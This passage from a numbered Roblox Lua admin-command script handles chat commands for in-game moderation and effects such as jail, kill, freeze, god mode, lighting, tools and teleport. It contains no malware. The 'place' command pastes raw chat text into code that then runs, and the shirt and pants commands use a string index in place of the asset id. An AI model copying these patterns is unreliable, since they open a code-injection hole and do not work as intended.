  4012. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4013. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4014. end)
  4015. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  4016. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  4017. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  4018. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  4019. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  4020. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  4021. local msh2 = msh:Clone() msh2.Parent = back
  4022. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  4023. local msh4 = msh3:Clone() msh4.Parent = left
  4024. v.Character.Torso.CFrame = cf
  4025. end
  4026. end))
  4027. end
  4028. end
  4029.  
  4030. if msg:lower():sub(1,7) == "unjail " then
  4031. local plrz = GetPlr(plr, msg:lower():sub(8))
  4032. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  4033. end
  4034.  
  4035. if msg:lower():sub(1,11) == "starttools " then
  4036. local plrz = GetPlr(plr, msg:lower():sub(12))
  4037. for i, v in pairs(plrz) do
  4038. coroutine.resume(coroutine.create(function()
  4039. if v and v:findFirstChild("Backpack") then
  4040. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  4041. end
  4042. end))
  4043. end
  4044. end
  4045.  
  4046. if msg:lower():sub(1,6) == "sword " then
  4047. local plrz = GetPlr(plr, msg:lower():sub(7))
  4048. for i, v in pairs(plrz) do
  4049. coroutine.resume(coroutine.create(function()
  4050. if v and v:findFirstChild("Backpack") then
  4051. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  4052. sword.GripForward = Vector3.new(-1,0,0)
  4053. sword.GripPos = Vector3.new(0,0,-1.5)
  4054. sword.GripRight = Vector3.new(0,1,0)
  4055. sword.GripUp = Vector3.new(0,0,1)
  4056. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  4057. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  4058. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  4059. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  4060. local Damage = 15
  4061. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  4062. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  4063. SlashSound.Volume = 1
  4064. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  4065. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  4066. LungeSound.Volume = 1
  4067. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  4068. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  4069. UnsheathSound.Volume = 1
  4070. local last = 0
  4071. script.Parent.Handle.Touched:connect(function(hit)
  4072. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  4073. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  4074. hit.Parent.Humanoid:TakeDamage(Damage)
  4075. end
  4076. end)
  4077. script.Parent.Activated:connect(function()
  4078. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  4079. script.Parent.Enabled = false
  4080. local tick = game:service("RunService").Stepped:wait()
  4081. if tick - last <= .2 then
  4082. LungeSound:play()
  4083. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  4084. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  4085. wait(.2)
  4086. script.Parent.GripForward = Vector3.new(0,0,1)
  4087. script.Parent.GripRight = Vector3.new(0,-1,0)
  4088. script.Parent.GripUp = Vector3.new(-1,0,0)
  4089. wait(.3)
  4090. frc:Destroy() wait(.5)
  4091. script.Parent.GripForward = Vector3.new(-1,0,0)
  4092. script.Parent.GripRight = Vector3.new(0,1,0)
  4093. script.Parent.GripUp = Vector3.new(0,0,1)
  4094. else
  4095. SlashSound:play()
  4096. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  4097. end
  4098. last = tick
  4099. script.Parent.Enabled = true
  4100. end)
  4101. script.Parent.Equipped:connect(function(mouse)
  4102. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  4103. UnsheathSound:play()
  4104. script.Parent.Enabled = true
  4105. if not mouse then return end
  4106. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  4107. end)]] cl.Disabled = false
  4108. end
  4109. end))
  4110. end
  4111. end
  4112.  
  4113. if msg:lower():sub(1,5) == "kill " then
  4114. local plrz = GetPlr(plr, msg:lower():sub(6))
  4115. for i, v in pairs(plrz) do
  4116. coroutine.resume(coroutine.create(function()
  4117. if v and v.Character then v.Character:BreakJoints() end
  4118. end))
  4119. end
  4120. end
  4121.  
  4122. if msg:lower():sub(1,8) == "respawn " then
  4123. local plrz = GetPlr(plr, msg:lower():sub(9))
  4124. for i, v in pairs(plrz) do
  4125. coroutine.resume(coroutine.create(function()
  4126. if v and v.Character then v:LoadCharacter() end
  4127. end))
  4128. end
  4129. end
  4130.  
  4131. if msg:lower():sub(1,5) == "trip " then
  4132. local plrz = GetPlr(plr, msg:lower():sub(6))
  4133. for i, v in pairs(plrz) do
  4134. coroutine.resume(coroutine.create(function()
  4135. if v and v.Character and v.Character:findFirstChild("Torso") then
  4136. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  4137. end
  4138. end))
  4139. end
  4140. end
  4141.  
  4142. if msg:lower():sub(1,5) == "stun " then
  4143. local plrz = GetPlr(plr, msg:lower():sub(6))
  4144. for i, v in pairs(plrz) do
  4145. coroutine.resume(coroutine.create(function()
  4146. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4147. v.Character.Humanoid.PlatformStand = true
  4148. end
  4149. end))
  4150. end
  4151. end
  4152.  
  4153. if msg:lower():sub(1,7) == "unstun " then
  4154. local plrz = GetPlr(plr, msg:lower():sub(8))
  4155. for i, v in pairs(plrz) do
  4156. coroutine.resume(coroutine.create(function()
  4157. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4158. v.Character.Humanoid.PlatformStand = false
  4159. end
  4160. end))
  4161. end
  4162. end
  4163.  
  4164. if msg:lower():sub(1,5) == "jump " then
  4165. local plrz = GetPlr(plr, msg:lower():sub(6))
  4166. for i, v in pairs(plrz) do
  4167. coroutine.resume(coroutine.create(function()
  4168. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4169. v.Character.Humanoid.Jump = true
  4170. end
  4171. end))
  4172. end
  4173. end
  4174.  
  4175. if msg:lower():sub(1,4) == "sit " then
  4176. local plrz = GetPlr(plr, msg:lower():sub(5))
  4177. for i, v in pairs(plrz) do
  4178. coroutine.resume(coroutine.create(function()
  4179. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4180. v.Character.Humanoid.Sit = true
  4181. end
  4182. end))
  4183. end
  4184. end
  4185.  
  4186. if msg:lower():sub(1,10) == "invisible " then
  4187. local plrz = GetPlr(plr, msg:lower():sub(11))
  4188. for i, v in pairs(plrz) do
  4189. coroutine.resume(coroutine.create(function()
  4190. if v and v.Character then
  4191. for a, obj in pairs(v.Character:children()) do
  4192. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  4193. end
  4194. end
  4195. end))
  4196. end
  4197. end
  4198.  
  4199. if msg:lower():sub(1,8) == "visible " then
  4200. local plrz = GetPlr(plr, msg:lower():sub(9))
  4201. for i, v in pairs(plrz) do
  4202. coroutine.resume(coroutine.create(function()
  4203. if v and v.Character then
  4204. for a, obj in pairs(v.Character:children()) do
  4205. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  4206. end
  4207. end
  4208. end))
  4209. end
  4210. end
  4211.  
  4212. if msg:lower():sub(1,5) == "lock " then
  4213. local plrz = GetPlr(plr, msg:lower():sub(6))
  4214. for i, v in pairs(plrz) do
  4215. coroutine.resume(coroutine.create(function()
  4216. if v and v.Character then
  4217. for a, obj in pairs(v.Character:children()) do
  4218. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  4219. end
  4220. end
  4221. end))
  4222. end
  4223. end
  4224.  
  4225. if msg:lower():sub(1,7) == "unlock " then
  4226. local plrz = GetPlr(plr, msg:lower():sub(8))
  4227. for i, v in pairs(plrz) do
  4228. coroutine.resume(coroutine.create(function()
  4229. if v and v.Character then
  4230. for a, obj in pairs(v.Character:children()) do
  4231. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  4232. end
  4233. end
  4234. end))
  4235. end
  4236. end
  4237.  
  4238. if msg:lower():sub(1,8) == "explode " then
  4239. local plrz = GetPlr(plr, msg:lower():sub(9))
  4240. for i, v in pairs(plrz) do
  4241. coroutine.resume(coroutine.create(function()
  4242. if v and v.Character and v.Character:findFirstChild("Torso") then
  4243. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  4244. end
  4245. end))
  4246. end
  4247. end
  4248.  
  4249. if msg:lower():sub(1,4) == "age " then
  4250. local plrz = GetPlr(plr, msg:lower():sub(5))
  4251. for i, v in pairs(plrz) do
  4252. coroutine.resume(coroutine.create(function()
  4253. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  4254. end))
  4255. end
  4256. end
  4257.  
  4258. if msg:lower():sub(1,5) == "fire " then
  4259. local plrz = GetPlr(plr, msg:lower():sub(6))
  4260. for i, v in pairs(plrz) do
  4261. coroutine.resume(coroutine.create(function()
  4262. if v and v.Character and v.Character:findFirstChild("Torso") then
  4263. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  4264. end
  4265. end))
  4266. end
  4267. end
  4268.  
  4269. if msg:lower():sub(1,7) == "unfire " then
  4270. local plrz = GetPlr(plr, msg:lower():sub(8))
  4271. for i, v in pairs(plrz) do
  4272. coroutine.resume(coroutine.create(function()
  4273. if v and v.Character and v.Character:findFirstChild("Torso") then
  4274. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  4275. end
  4276. end))
  4277. end
  4278. end
  4279.  
  4280. if msg:lower():sub(1,6) == "smoke " then
  4281. local plrz = GetPlr(plr, msg:lower():sub(7))
  4282. for i, v in pairs(plrz) do
  4283. coroutine.resume(coroutine.create(function()
  4284. if v and v.Character and v.Character:findFirstChild("Torso") then
  4285. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  4286. end
  4287. end))
  4288. end
  4289. end
  4290.  
  4291. if msg:lower():sub(1,8) == "unsmoke " then
  4292. local plrz = GetPlr(plr, msg:lower():sub(9))
  4293. for i, v in pairs(plrz) do
  4294. coroutine.resume(coroutine.create(function()
  4295. if v and v.Character and v.Character:findFirstChild("Torso") then
  4296. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  4297. end
  4298. end))
  4299. end
  4300. end
  4301.  
  4302. if msg:lower():sub(1,9) == "sparkles " then
  4303. local plrz = GetPlr(plr, msg:lower():sub(10))
  4304. for i, v in pairs(plrz) do
  4305. coroutine.resume(coroutine.create(function()
  4306. if v and v.Character and v.Character:findFirstChild("Torso") then
  4307. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  4308. end
  4309. end))
  4310. end
  4311. end
  4312.  
  4313. if msg:lower():sub(1,11) == "unsparkles " then
  4314. local plrz = GetPlr(plr, msg:lower():sub(12))
  4315. for i, v in pairs(plrz) do
  4316. coroutine.resume(coroutine.create(function()
  4317. if v and v.Character and v.Character:findFirstChild("Torso") then
  4318. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  4319. end
  4320. end))
  4321. end
  4322. end
  4323.  
  4324. if msg:lower():sub(1,3) == "ff " then
  4325. local plrz = GetPlr(plr, msg:lower():sub(4))
  4326. for i, v in pairs(plrz) do
  4327. coroutine.resume(coroutine.create(function()
  4328. if v and v.Character then Instance.new("ForceField", v.Character) end
  4329. end))
  4330. end
  4331. end
  4332.  
  4333. if msg:lower():sub(1,5) == "unff " then
  4334. local plrz = GetPlr(plr, msg:lower():sub(6))
  4335. for i, v in pairs(plrz) do
  4336. coroutine.resume(coroutine.create(function()
  4337. if v and v.Character then
  4338. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  4339. end
  4340. end))
  4341. end
  4342. end
  4343.  
  4344. if msg:lower():sub(1,7) == "punish " then
  4345. local plrz = GetPlr(plr, msg:lower():sub(8))
  4346. for i, v in pairs(plrz) do
  4347. coroutine.resume(coroutine.create(function()
  4348. if v and v.Character then
  4349. v.Character.Parent = game:service("Lighting")
  4350. end
  4351. end))
  4352. end
  4353. end
  4354.  
  4355. if msg:lower():sub(1,9) == "unpunish " then
  4356. local plrz = GetPlr(plr, msg:lower():sub(10))
  4357. for i, v in pairs(plrz) do
  4358. coroutine.resume(coroutine.create(function()
  4359. if v and v.Character then
  4360. v.Character.Parent = game:service("Workspace")
  4361. v.Character:MakeJoints()
  4362. end
  4363. end))
  4364. end
  4365. end
  4366.  
  4367. if msg:lower():sub(1,7) == "freeze " then
  4368. local plrz = GetPlr(plr, msg:lower():sub(8))
  4369. for i, v in pairs(plrz) do
  4370. coroutine.resume(coroutine.create(function()
  4371. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4372. for a, obj in pairs(v.Character:children()) do
  4373. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  4374. end
  4375. end
  4376. end))
  4377. end
  4378. end
  4379.  
  4380. if msg:lower():sub(1,5) == "thaw " then
  4381. local plrz = GetPlr(plr, msg:lower():sub(6))
  4382. for i, v in pairs(plrz) do
  4383. coroutine.resume(coroutine.create(function()
  4384. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4385. for a, obj in pairs(v.Character:children()) do
  4386. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  4387. end
  4388. end
  4389. end))
  4390. end
  4391. end
  4392.  
  4393. if msg:lower():sub(1,5) == "heal " then
  4394. local plrz = GetPlr(plr, msg:lower():sub(6))
  4395. for i, v in pairs(plrz) do
  4396. coroutine.resume(coroutine.create(function()
  4397. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4398. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4399. end
  4400. end))
  4401. end
  4402. end
  4403.  
  4404. if msg:lower():sub(1,4) == "god " then
  4405. local plrz = GetPlr(plr, msg:lower():sub(5))
  4406. for i, v in pairs(plrz) do
  4407. coroutine.resume(coroutine.create(function()
  4408. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4409. v.Character.Humanoid.MaxHealth = math.huge
  4410. v.Character.Humanoid.Health = 9e9
  4411. end
  4412. end))
  4413. end
  4414. end
  4415.  
  4416. if msg:lower():sub(1,6) == "ungod " then
  4417. local plrz = GetPlr(plr, msg:lower():sub(7))
  4418. for i, v in pairs(plrz) do
  4419. coroutine.resume(coroutine.create(function()
  4420. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4421. v.Character.Humanoid.MaxHealth = 100
  4422. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4423. end
  4424. end))
  4425. end
  4426. end
  4427.  
  4428. if msg:lower():sub(1,8) == "ambient " then
  4429. local chk1 = msg:lower():sub(9):find(" ") + 8
  4430. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4431. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  4432. end
  4433.  
  4434. if msg:lower():sub(1,11) == "brightness " then
  4435. game.Lighting.Brightness = msg:sub(12)
  4436. end
  4437.  
  4438. if msg:lower():sub(1,5) == "time " then
  4439. game.Lighting.TimeOfDay = msg:sub(6)
  4440. end
  4441.  
  4442. if msg:lower():sub(1,9) == "fogcolor " then
  4443. local chk1 = msg:lower():sub(10):find(" ") + 9
  4444. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4445. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  4446. end
  4447.  
  4448. if msg:lower():sub(1,7) == "fogend " then
  4449. game.Lighting.FogEnd = msg:sub(8)
  4450. end
  4451.  
  4452. if msg:lower():sub(1,9) == "fogstart " then
  4453. game.Lighting.FogStart = msg:sub(10)
  4454. end
  4455.  
  4456. if msg:lower():sub(1,7) == "btools " then
  4457. local plrz = GetPlr(plr, msg:lower():sub(8))
  4458. for i, v in pairs(plrz) do
  4459. coroutine.resume(coroutine.create(function()
  4460. if v and v:findFirstChild("Backpack") then
  4461. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  4462. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  4463. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  4464. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  4465. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  4466. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  4467. local sb
  4468. local hs
  4469. local pdist
  4470.  
  4471. script.Parent.Selected:connect(function(mouse)
  4472. if not mouse then return end
  4473. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  4474. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  4475. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  4476. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  4477. hs.MouseButton1Down:connect(function() pdist = 0 end)
  4478. end)
  4479.  
  4480. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  4481. end
  4482. end))
  4483. end
  4484. end
  4485.  
  4486. if msg:lower():sub(1,5) == "give " then
  4487. local chk1 = msg:lower():sub(6):find(" ") + 5
  4488. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4489. for i, v in pairs(plrz) do
  4490. coroutine.resume(coroutine.create(function()
  4491. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  4492. for a, tool in pairs(game.Lighting:children()) do
  4493. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  4494. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  4495. end
  4496. end
  4497. end
  4498. end))
  4499. end
  4500. end
  4501.  
  4502. if msg:lower():sub(1,12) == "removetools " then
  4503. local plrz = GetPlr(plr, msg:lower():sub(13))
  4504. for i, v in pairs(plrz) do
  4505. coroutine.resume(coroutine.create(function()
  4506. if v and v.Character and v:findFirstChild("Backpack") then
  4507. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  4508. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  4509. end
  4510. end))
  4511. end
  4512. end
  4513.  
  4514. if msg:lower():sub(1,5) == "rank " then
  4515. local chk1 = msg:lower():sub(6):find(" ") + 5
  4516. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4517. for i, v in pairs(plrz) do
  4518. coroutine.resume(coroutine.create(function()
  4519. if v and v:IsInGroup(msg:sub(chk1+1)) then
  4520. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  4521. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  4522. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  4523. end
  4524. end))
  4525. end
  4526. end
  4527.  
  4528. if msg:lower():sub(1,7) == "damage " then
  4529. local chk1 = msg:lower():sub(8):find(" ") + 7
  4530. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  4531. for i, v in pairs(plrz) do
  4532. coroutine.resume(coroutine.create(function()
  4533. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4534. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  4535. end
  4536. end))
  4537. end
  4538. end
  4539.  
  4540. if msg:lower():sub(1,5) == "grav " then
  4541. local plrz = GetPlr(plr, msg:lower():sub(6))
  4542. for i, v in pairs(plrz) do
  4543. coroutine.resume(coroutine.create(function()
  4544. if v and v.Character and v.Character:findFirstChild("Torso") then
  4545. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  4546. end
  4547. end))
  4548. end
  4549. end
  4550.  
  4551. if msg:lower():sub(1,8) == "setgrav " then
  4552. local chk1 = msg:lower():sub(9):find(" ") + 8
  4553. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  4554. for i, v in pairs(plrz) do
  4555. coroutine.resume(coroutine.create(function()
  4556. if v and v.Character and v.Character:findFirstChild("Torso") then
  4557. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  4558. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  4559. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  4560. end
  4561. end))
  4562. end
  4563. end
  4564.  
  4565. if msg:lower():sub(1,7) == "nograv " then
  4566. local plrz = GetPlr(plr, msg:lower():sub(8))
  4567. for i, v in pairs(plrz) do
  4568. coroutine.resume(coroutine.create(function()
  4569. if v and v.Character and v.Character:findFirstChild("Torso") then
  4570. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  4571. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  4572. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  4573. end
  4574. end))
  4575. end
  4576. end
  4577.  
  4578. if msg:lower():sub(1,7) == "health " then
  4579. local chk1 = msg:lower():sub(8):find(" ") + 7
  4580. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  4581. for i, v in pairs(plrz) do
  4582. coroutine.resume(coroutine.create(function()
  4583. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4584. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  4585. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4586. end
  4587. end))
  4588. end
  4589. end
  4590.  
  4591. if msg:lower():sub(1,6) == "speed " then
  4592. local chk1 = msg:lower():sub(7):find(" ") + 6
  4593. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4594. for i, v in pairs(plrz) do
  4595. coroutine.resume(coroutine.create(function()
  4596. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4597. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  4598. end
  4599. end))
  4600. end
  4601. end
  4602.  
  4603. if msg:lower():sub(1,5) == "team " then
  4604. local chk1 = msg:lower():sub(6):find(" ") + 5
  4605. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4606. for i, v in pairs(plrz) do
  4607. coroutine.resume(coroutine.create(function()
  4608. if v and game:findFirstChild("Teams") then
  4609. for a, tm in pairs(game.Teams:children()) do
  4610. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  4611. end
  4612. end
  4613. end))
  4614. end
  4615. end
  4616.  
  4617. if msg:lower():sub(1,6) == "place " then
  4618. local chk1 = msg:lower():sub(7):find(" ") + 6
  4619. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4620. for i, v in pairs(plrz) do
  4621. coroutine.resume(coroutine.create(function()
  4622. if v and v:findFirstChild("PlayerGui") then
  4623. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  4624. end
  4625. end))
  4626. end
  4627. end
  4628.  
  4629. if msg:lower():sub(1,3) == "tp " then
  4630. local chk1 = msg:lower():sub(4):find(" ") + 3
  4631. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  4632. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  4633. for i, v in pairs(plrz) do
  4634. coroutine.resume(coroutine.create(function()
  4635. for i2, v2 in pairs(plrz2) do
  4636. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  4637. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  4638. end
  4639. end
  4640. end))
  4641. end
  4642. end
  4643.  
  4644. if msg:lower():sub(1,7) == "change " then
  4645. local chk1 = msg:lower():sub(8):find(" ") + 7
  4646. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4647. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  4648. for i, v in pairs(plrz) do
  4649. coroutine.resume(coroutine.create(function()
  4650. if v and v:findFirstChild("leaderstats") then
  4651. for a, st in pairs(v.leaderstats:children()) do
  4652. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  4653. end
  4654. end
  4655. end))
  4656. end
  4657. end
  4658.  
  4659. if msg:lower():sub(1,6) == "shirt " then
  4660. local chk1 = msg:lower():sub(7):find(" ") + 6
  4661. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4662. for i, v in pairs(plrz) do
  4663. coroutine.resume(coroutine.create(function()
  4664. if v and v.Character then
  4665. for i,v in pairs(v.Character:children()) do
  4666. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  4667. end
  4668. end
  4669. end))
  4670. end
  4671. end
  4672.  
  4673. if msg:lower():sub(1,6) == "pants " then
  4674. local chk1 = msg:lower():sub(7):find(" ") + 6
  4675. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4676. for i, v in pairs(plrz) do
  4677. coroutine.resume(coroutine.create(function()
  4678. if v and v.Character then
  4679. for i,v in pairs(v.Character:children()) do
  4680. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  4681. end
  4682. end
  4683. end))
  4684. end
  4685. end
  4686.  
  4687. if msg:lower():sub(1,5) == "face " then
  4688. local chk1 = msg:lower():sub(6):find(" ") + 5
  4689. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4690. for i, v in pairs(plrz) do
  4691. coroutine.resume(coroutine.create(function()
  4692. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
